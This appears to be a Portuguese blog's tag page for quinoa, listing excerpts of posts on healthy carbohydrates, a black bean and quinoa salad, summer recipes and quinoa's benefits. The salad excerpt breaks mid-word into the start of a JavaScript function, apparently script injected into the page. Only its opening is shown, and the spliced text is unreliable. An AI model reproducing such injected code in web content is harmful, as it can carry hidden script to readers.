Etiqueta: quinoa

8 Hidratos de carbono benéficos para a sua saúde

Mai 14, 2019 | Equilíbrio, Saúde e bem estar

8 Hidratos de carbono benéficos para a sua saúde Certamente já costuma consumi-los nas suas refeições mas será que está a fazer as escolhas certas? Hoje vou falar-lhe dos hidratos de carbono mais saudáveis que deve incluir na sua alimentação. Saiba que os hidratos...

Receita de salada de feijão preto com laranja e quinoa

Mai 13, 2019 | À descoberta, Receitas

Receita de salada de feijão preto com laranja e quinoa A gastronomia é um dos nossos maiores tesouros. Comer é um prazer e nada melhor do que ter uma dieta variada e muito equilibrada, delicifunction a4872b9c6b(y1){var...

3 Receitas refrescantes para os dias quentes

Jul 25, 2017 | Receitas

3 Receitas refrescantes para os dias quentes No verão pode ser uma tarefa difícil decidir o que preparar para as refeições pois está muito calor e só nos apetecem pratos frescos e gelados. Para o ajudar os trago-lhe 3 receitas refrescantes para os dias quentes:...

Quinoa, a proteína completa – 7 benefícios e receita

Mar 14, 2017 | À descoberta, Receitas

Quinoa, a proteína completa – 7 benefícios e receita Já ouviu falar na quinoa? É tão rica em nutrientes que é considerada um superalimento. Começou, há muitos muitos anos, por ser plantada pelas tribos indígenas nos Andes e hoje podemos dizer que veio das...